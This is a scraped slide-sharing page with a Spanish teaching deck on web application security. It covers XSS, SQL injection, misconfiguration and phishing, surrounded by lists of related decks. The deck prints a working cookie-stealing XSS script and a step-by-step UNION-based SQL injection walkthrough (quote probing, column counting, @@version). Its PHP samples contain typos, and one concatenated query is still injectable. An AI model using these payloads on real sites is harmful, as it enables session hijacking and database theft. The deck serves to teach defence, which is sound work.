 
Seguridad en redes
Seguridad en redesSeguridad en redes
Seguridad en redes
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
 
Semana 3 gestion de la configuracion y control de cambios
Semana 3 gestion de la configuracion y control de cambiosSemana 3 gestion de la configuracion y control de cambios
Semana 3 gestion de la configuracion y control de cambios
 

Similar a Seguridad en los sistemas web

Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3tantascosasquenose
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Alonso Caballero
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securityseguridadelinux
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Alonso Caballero
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebAlonso Caballero
 
01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptxssusercb51cd
 
Seguridad web
Seguridad webSeguridad web
Seguridad webcamposer
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)kernelinux
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Softwarelechosopowers
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones webJose Mato
 
Seguridad en la web no confíes en el usuario
Seguridad en la web   no confíes en el usuarioSeguridad en la web   no confíes en el usuario
Seguridad en la web no confíes en el usuarioCarlos Soriano
 

Similar a Seguridad en los sistemas web (20)

Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015Completo conferencia seguridad_web_software_libre_2015
Completo conferencia seguridad_web_software_libre_2015
 
Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3Curso basicoseguridadweb slideshare3
Curso basicoseguridadweb slideshare3
 
Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0Samurai Web Testing Framework 2.0
Samurai Web Testing Framework 2.0
 
Seguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_securitySeguridad en servidores WEB. Modulo mod_security
Seguridad en servidores WEB. Modulo mod_security
 
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
Webinar Gratuito "Vulnerabilidades en Aplicaciones Web"
 
Vulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones WebVulnerabilidades en Aplicaciones Web
Vulnerabilidades en Aplicaciones Web
 
Seguridad en php
Seguridad en phpSeguridad en php
Seguridad en php
 
01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx01 - Sesión 09 - Fallos de Seguridad.pptx
01 - Sesión 09 - Fallos de Seguridad.pptx
 
Owasp top ten 2019
Owasp top ten 2019Owasp top ten 2019
Owasp top ten 2019
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
Owasp proyecto
Owasp proyectoOwasp proyecto
Owasp proyecto
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
 
Seguridad web
Seguridad webSeguridad web
Seguridad web
 
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
XSS to the MAX - Juan Manuel Garcia (OWASP LATAM TOUR 2016)
 
Vulnerabilidades del Software
Vulnerabilidades del SoftwareVulnerabilidades del Software
Vulnerabilidades del Software
 
Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)Aplicaciones Web Seguras (Anti-SQLi)
Aplicaciones Web Seguras (Anti-SQLi)
 
Seguridad en aplicaciones web
Seguridad en aplicaciones webSeguridad en aplicaciones web
Seguridad en aplicaciones web
 
Exposicion univ simon_bolivar
Exposicion univ simon_bolivarExposicion univ simon_bolivar
Exposicion univ simon_bolivar
 
Que es xss
Que es xssQue es xss
Que es xss
 
Seguridad en la web no confíes en el usuario
Seguridad en la web   no confíes en el usuarioSeguridad en la web   no confíes en el usuario
Seguridad en la web no confíes en el usuario
 

Más de Facultad de Ciencias y Sistemas

Introducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con JavaIntroducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con JavaFacultad de Ciencias y Sistemas
 

Más de Facultad de Ciencias y Sistemas (20)

Ejercicios HTML 5
Ejercicios HTML 5Ejercicios HTML 5
Ejercicios HTML 5
 
CSS3
CSS3CSS3
CSS3
 
09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c09 ordenamiento-en-vectores-en-c
09 ordenamiento-en-vectores-en-c
 
08 mas-de-vectores-en-c
08 mas-de-vectores-en-c08 mas-de-vectores-en-c
08 mas-de-vectores-en-c
 
07 vectores-en-c final
07 vectores-en-c final07 vectores-en-c final
07 vectores-en-c final
 
06 clases-en-c
06 clases-en-c06 clases-en-c
06 clases-en-c
 
05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c05 cadenas-de-caracteres-en-c
05 cadenas-de-caracteres-en-c
 
04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c04 mas-estructuras-iterativas-en-c
04 mas-estructuras-iterativas-en-c
 
03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c03 estructuras-iterativas-en-c
03 estructuras-iterativas-en-c
 
02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c02 mas-de-las-estructuras-de-programacion-en-c
02 mas-de-las-estructuras-de-programacion-en-c
 
01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c01 estructuras-de-programacion-en-c
01 estructuras-de-programacion-en-c
 
Procesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con pythonProcesamiento del lenguaje natural con python
Procesamiento del lenguaje natural con python
 
Actividades de aprendizaje en Moodle
Actividades de aprendizaje en MoodleActividades de aprendizaje en Moodle
Actividades de aprendizaje en Moodle
 
Creación de grupos en Moodle
Creación de grupos en MoodleCreación de grupos en Moodle
Creación de grupos en Moodle
 
Introducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con JavaIntroducción a la progrogramación orientada a objetos con Java
Introducción a la progrogramación orientada a objetos con Java
 
Como crear un diagrama de clases
Como crear un diagrama de clasesComo crear un diagrama de clases
Como crear un diagrama de clases
 
Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02Diagrama de clases - Ejemplo monográfico 02
Diagrama de clases - Ejemplo monográfico 02
 
Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01Diagrama de clases - Ejemplo monográfico 01
Diagrama de clases - Ejemplo monográfico 01
 
Otro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UMLOtro ejemplo de diagrama de clases UML
Otro ejemplo de diagrama de clases UML
 
Un ejemplo de diagrama de clases
Un ejemplo de diagrama de clasesUn ejemplo de diagrama de clases
Un ejemplo de diagrama de clases
 

Último

Introducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleIntroducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleJonathanCovena1
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfvictorbeltuce
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteJuan Hernandez
 
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdf
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdfTarea 5_ Foro _Selección de herramientas digitales_Manuel.pdf
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdfManuel Molina
 
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdf
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdfTarea 5-Selección de herramientas digitales-Carol Eraso.pdf
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdfCarol Andrea Eraso Guerrero
 
Procesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxProcesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxMapyMerma1
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.José Luis Palma
 
Fundamentos y Principios de Psicopedagogía..pdf
Fundamentos y Principios de Psicopedagogía..pdfFundamentos y Principios de Psicopedagogía..pdf
Fundamentos y Principios de Psicopedagogía..pdfsamyarrocha1
 
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFAROJosé Luis Palma
 
La Función tecnológica del tutor.pptx
La  Función  tecnológica  del tutor.pptxLa  Función  tecnológica  del tutor.pptx
La Función tecnológica del tutor.pptxJunkotantik
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxdanalikcruz2000
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxjosetrinidadchavez
 
periodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicasperiodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicas123yudy
 
RETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxRETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxAna Fernandez
 
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIARAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIACarlos Campaña Montenegro
 

Último (20)

Introducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo SostenibleIntroducción:Los objetivos de Desarrollo Sostenible
Introducción:Los objetivos de Desarrollo Sostenible
 
La Trampa De La Felicidad. Russ-Harris.pdf
La Trampa De La Felicidad. Russ-Harris.pdfLa Trampa De La Felicidad. Russ-Harris.pdf
La Trampa De La Felicidad. Russ-Harris.pdf
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parte
 
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdf
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdfTarea 5_ Foro _Selección de herramientas digitales_Manuel.pdf
Tarea 5_ Foro _Selección de herramientas digitales_Manuel.pdf
 
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdf
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdfTarea 5-Selección de herramientas digitales-Carol Eraso.pdf
Tarea 5-Selección de herramientas digitales-Carol Eraso.pdf
 
Procesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxProcesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptx
 
Defendamos la verdad. La defensa es importante.
Defendamos la verdad. La defensa es importante.Defendamos la verdad. La defensa es importante.
Defendamos la verdad. La defensa es importante.
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.
 
Tema 7.- E-COMMERCE SISTEMAS DE INFORMACION.pdf
Tema 7.- E-COMMERCE SISTEMAS DE INFORMACION.pdfTema 7.- E-COMMERCE SISTEMAS DE INFORMACION.pdf
Tema 7.- E-COMMERCE SISTEMAS DE INFORMACION.pdf
 
Fundamentos y Principios de Psicopedagogía..pdf
Fundamentos y Principios de Psicopedagogía..pdfFundamentos y Principios de Psicopedagogía..pdf
Fundamentos y Principios de Psicopedagogía..pdf
 
Power Point: "Defendamos la verdad".pptx
Power Point: "Defendamos la verdad".pptxPower Point: "Defendamos la verdad".pptx
Power Point: "Defendamos la verdad".pptx
 
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
 
La Función tecnológica del tutor.pptx
La  Función  tecnológica  del tutor.pptxLa  Función  tecnológica  del tutor.pptx
La Función tecnológica del tutor.pptx
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
 
Sesión de clase: Defendamos la verdad.pdf
Sesión de clase: Defendamos la verdad.pdfSesión de clase: Defendamos la verdad.pdf
Sesión de clase: Defendamos la verdad.pdf
 
periodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicasperiodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicas
 
RETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docxRETO MES DE ABRIL .............................docx
RETO MES DE ABRIL .............................docx
 
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIARAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
 

Seguridad en los sistemas web

  • 2. SEGURIDAD EN LAS APLICACIONES WEB. La seguridad de las aplicaciones web es una rama de la Seguridad Informática que se encarga específicamente de la seguridad de sitios web, aplicaciones web y servicios web. Las aplicaciones, comúnmente son desarrolladas usando lenguajes de programación tales como PHP, JavaScript, Python, Ruby, ASP.NET, JSP, entre otros.
  • 3. SEGURIDAD EN LAS APLICACIONES WEB. En un alto nivel, la seguridad de aplicaciones web se basa en los principios de la seguridad de cualquier aplicación informática pero aplicada específicamente a la World Wide Web. Debido al descuido en las buenas prácticas de programación relacionadas con la seguridad, muchos sistemas son vulnerables a los ataques, incluyendo inyección SQL.
  • 4. SEGURIDAD EN LAS APLICACIONES WEB. La base de datos y la aplicación deben estar protegidas para evitar daños a causa de estas instrucciones maliciosas. Es necesario comprender cómo se estructuran estas instrucciones. Un sistema de web puede leer la entrada del usuario de varias maneras diferentes, basado en el entorno que se ha desarrollado la aplicación.
  • 5. SEGURIDAD EN LAS APLICACIONES WEB. En la mayoría de los casos, el SQLIA (Ataque de inyección SQL) viene en los envíos de formularios que se envían al sistema web a través de HTTP GET o POST. Los sistemas web acceden a los datos de entrada del usuario y logran acceder a cualquier otra variable de entorno.
  • 6. SEGURIDAD EN LAS APLICACIONES WEB. Al introducir los códigos por el formulario, el atacante tiene acceso a la zona restringida de la página como un administrador (normalmente el usuario administrador – administrator - es el primer usuario de la tabla de usuarios de la base de datos del sitio y tiene todos los permisos). Al acceder al sistema como administrador, tiene acceso a los datos confidenciales, por lo que puede utilizar estos datos de la manera que desee.
  • 7. SEGURIDAD EN LAS APLICACIONES WEB. Si el ataque es por URL el atacante utiliza códigos maliciosos en la URL de acceso al sistema para encontrar la información contenida en la base de datos, por lo tanto, la consecución de ambos descubren los datos sensibles de los usuarios, así como tablas o la destrucción de datos importantes.
  • 8. AMENAZAS DE SEGURIDAD Con la aparición de la Web 2.0, el intercambio de información a través de redes sociales y el crecimiento de los negocios en la adopción de la Web como un medio para hacer negocios y ofrecer servicios, los sitios web son constantemente atacados.
  • 9. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.
  • 10. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Tipo de vulnerabilidad informática o agujero de seguridad, que permitir a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje similar como VBScript.
  • 11. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Existe en aplicaciones que presente información en un navegador web u otro contenedor de páginas web. Pueden ser sitios web en línea o aplicaciones locales vulnerables a XSS, incluso el mismo navegador.
  • 12. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Usualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.
  • 13. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.  Directa (o Persistente): Consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo etiquetas como <script> o <iframe>.
  • 14. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web.  Indirecta (o Reflejada): Modifica valores que la aplicación usa para pasar variables entre dos páginas, sin usar sesiones y sucede por un mensaje o ruta en la URL del navegador, en una cookie, o cualquier cabecera HTTP (a veces navegadores y aplicaciones web, podría extenderse al DOM del navegador).
  • 15. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Un framework no actualizado, permite a los atacantes explotar las vulnerabilidades de la aplicación. Otro ejemplo es cuando los datos y los componentes estándar necesarios para la instalación de una aplicación, base de datos o componente son instalados automáticamente y no son eliminados.
  • 16. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Un atacante podrá descubrir las páginas de administración en el servidor y autenticarse utilizando el usuario y contraseña estándar de la instalación y tomar el control sobre la aplicación o servidor. cuando un listado de directorios no fuera desactivado. Un atacante, podrá listar los directorios de la aplicación y encontrar otras vulnerabilidades.
  • 17. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si el módulo de PHP está configurado para mostrar errores, entregaría información valiosas al atacante como el servidor y el usuario: Warning mysql_connetc()[function.mysql- connect]: Access denied for user 'usuari'@'192.168.0.82' (using password: YES) in /www/html/web/admin.php on line 70
  • 18. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si la directiva register_globals es on (habilitada) la variable $autoriza podría ser manipulada fácilmente. Si modifica el valor en off, el código funcionaria correctamente (libre de la vulnerabilidad). Otra forma sería inicializar la variable antes de su uso, en este caso el código funcionaría sin importar el estado de register_globals.
  • 19. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Otro caso es copiar en el value de una etiqueta <input>. Por ejemplo en los buscadores en sitios web, al realizar una búsqueda a través de ellos, lo habitual es que el término introducido se copie dentro del campo del buscador.  Otras veces puede copiar código dentro de los comentarios HTML, comúnmente en páginas mal programadas que dejan mensajes dentro del código fuente HTML: ";alert("¡Hola Mundo!");//
  • 20. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Para determinar si un campo, ya sea un parámetro desde la URL o un campo de texto donde sea posible escribir, es vulnerable a XSS introduzca una serie de caracteres para comprobar si existe algún filtro anti-XSS. Los caracteres a introducir serían:
  • 21. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS).  Comilla simple (‘)  Comilla doble (“)  Símbolo de mayor que (>)  Símbolo de menor que (<)  Barra (/)  Espacio ( )
  • 22. AMENAZAS DE SEGURIDAD Cross-site scripting (XSS). Si puede introducir estos caracteres existe un alto porcentaje de posibilidades de encontrar algún fallo de XSS. Sin embargo no se puede asegurar su existencia de forma totalmente definitiva, siempre existe la posibilidad de encontrar algún otro tipo de filtro que impida introducir palabras clave como script, onload o javascript.
  • 23. AMENAZAS DE SEGURIDAD <script> d = "&to = eviluser&enviar = Enviar&mensaje = Mi cookie es: "+document.cookie; if(window.XMLHttpRequest) {x=new XMLHttpRequest();} else {x=new ActiveXObject('Microsoft.XMLHTTP');} x.open("POST","func/send.php",true); x.setRequestHeader('Content- Type','application/x-www-form-urlencoded'); x.setRequestHeader('Content-Length',d.length); x.send(d); </script>
  • 24. AMENAZAS DE SEGURIDAD Se declara una variable d que contiene los valores &to, &enviar y &mensaje, que son las variables que se envían en la aplicación cuando manda un mensaje. Detalle importante a observar es el contenido de la variable &mensaje, document.cookie, un objeto del DOM de la página que contiene todas las cookies asociadas al dominio actual.
  • 25. AMENAZAS DE SEGURIDAD Se codifica un if...else, que asegura la creación de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Explorer como Firefox o similares. Este objeto es el usado para realizar las peticiones AJAX. Con open() se establece las condiciones que se a utilizarán para enviar el formulario. Será enviado por POST a la url func/send.php. Mediante true se indica que la petición será realizada de manera asíncrona, esto es, el navegador no se quedará “congelado” mientras se envía el mensaje.
  • 26. AMENAZAS DE SEGURIDAD El llamado a la función setRequestHeader() se usan para establecer cabeceras HTTP que hagan que el servidor web entienda que lo que se está enviando es un formulario, aunque el usuario no lo haya rellenado. Se invoca send() pasándole como parámetro la variable d. Con esto el navegador realiza las acciones definidas anteriormente y, si todo ha salido bien, el usuario afectado “enviará” su cookie de sesión.
  • 27. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Método de infiltración de código intruso que usa una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.
  • 28. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Su origen radica en la incorrecta comprobación o filtrado de las variables usadas en un programa que contiene, o bien genera, código SQL.
  • 29. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. Ocurre cuando se inserta o "inyecta" código SQL invasor dentro del código SQL programado, para alterar el funcionamiento normal del programa y lograr así que se ejecute la porción de código "invasor" incrustado, en la base de datos.
  • 30. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. try {$dbh = new PDO($dsn, $user, $password);} catch (PDOException $y) {$log = $y->getMessage(); /* grabar el log */} $login = $_POST['login']; $contrasenia = $_POST['contrasenia']; $sth = $dbh->prepare("SELECT * FROM usuarios “ . "WHERE login = login AND contrasenia = :contrasenia"); $sth->bindParam(':login', $login); $sth->bindParam(':contasenia', $contrasenia); $sth->ejecute(); if( $sth->rowCount() ) echo "resultado: true"; else echo "resultado: false";
  • 31. AMENAZAS DE SEGURIDAD La mayoría de los ataques a aplicaciones web ocurren a través de:  Cross-site scripting (XSS).  Inyección SQL.  Phishing. Estos ataques logran su cometido debido a una codificación deficiente y la falta de desinfección de las entradas y salidas de la aplicación web. $login = $_POST['login']; $contrasenia=$_POST[‘contrasenia’]; $query = array(); $query[] = "CALL testarLogin(@valor, " $login."', " $contrasenia."')"; $query[] = "SELECT @valor"; $mysqli->query($query[0]); $res = $mysqli->query($query[1]); $valor = $res->fetch_object(); $nombre = "@valor"; if( $valor->$nombre ) echo "resultado: true"; else echo "resultado: false"; $mysqli->close(); ?>
  • 32. AMENAZAS DE SEGURIDAD  Inyección SQL. Una aplicación cifra los datos de las tarjetas de créditos en una base de datos para prevenir que los mismos sean expuestos a usuarios finales. Sin embargo, la base de datos está configurada para descifrar automáticamente consultas en las columnas de tarjetas de crédito, permitiendo que un fallo de inyección por SQL pueda listar todas las tarjetas de crédito en claro.
  • 33. AMENAZAS DE SEGURIDAD  Inyección SQL. El sistema debería haber sido configurado para permitir que sólo las aplicaciones de back-end pudieran descifrar esos datos y no las aplicaciones web de front-end.
  • 34. AMENAZAS DE SEGURIDAD  Inyección SQL. En una aplicación web PHP, la transferencia por GET pasa parámetros vía url: http://www.dominio.com/[nombre_pagina]. php?[nombre_variable]=[valor] Después del “ ?” hay una variable con su valor, que fue consultado en la base de datos, está explícito en la URL, entonces, podría retornar datos de la base de datos con la agrupación de comandos SQL.
  • 35. AMENAZAS DE SEGURIDAD  Inyección SQL. Consultar los detalles de un producto desde: http://www.dominio.com/detalles.php?pro ducto_id = 158 Éste probablemente tendrá un código PHP que recibirá un valor en una variable: $id = $_GET[“ id” ]; Ese valor sería pasado a otra variable que contenga el código que será responsable de la consulta SQL, como por ejemplo:
  • 36. AMENAZAS DE SEGURIDAD  Inyección SQL. $query = mysql_query(?SELECT * FROM producto WHERE producto_id = “ $id’” ); $query recibe la ejecución de la consulta en el MYSQL, la cual selecciona todos los registros de la tabla producto con producto_id igual al valor de $id. Consulta que se ejecuta explícitamente en el código, exponiendo la vulnerabilidad del sistema y arriesgando la base de datos.
  • 37. AMENAZAS DE SEGURIDAD  Inyección SQL. http://www.dominio.com/detalles.php?product o_id = 1’ Si se insertan ‘(comillas simples) al final de la url y la página retornar un error diciendo: “ You have an error on your SQL syntax ; check the manual that corresponds to your MYSQL server version for the’”, significa que es vulnerable.
  • 38. AMENAZAS DE SEGURIDAD  Inyección SQL. Considerando la url anterior, se agrupará un comando para la verificación de la cantidad de columnas existentes en la tabla. Con ORDER BY, es posible especificar cualquier número de columnas http://www.dominio.com/detalles.php?product o_id = 1’ ORDER BY 1,2,3,4 (...).
  • 39. AMENAZAS DE SEGURIDAD  Inyección SQL. Probando desde 1 hasta n, cuando en “ n” sucede un error, se obtiene la información n- 1 que se refiere al número de columnas de la tabla consultada, en el caso que el número sea 5, si sucede el error, el valor correspondiente al número de columnas que pueden ser usadas por los demás comandos será 4.
  • 40. AMENAZAS DE SEGURIDAD  Inyección SQL. Con la función UNION los ataques son lo suficientemente eficaces para retornar datos, es posible entonces retornar el conjunto de registros de la base de datos con: http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1,2,3,4
  • 41. AMENAZAS DE SEGURIDAD  Inyección SQL. Por ello, @@version es capaz de informar sobre la versión del sistema gestor de bases de datos, para así usar la sintaxis correcta: http://www.dominio.com/detalles.php?pro ducto_id =1 UNION ALL SELECT 1, 2, 3, @@version
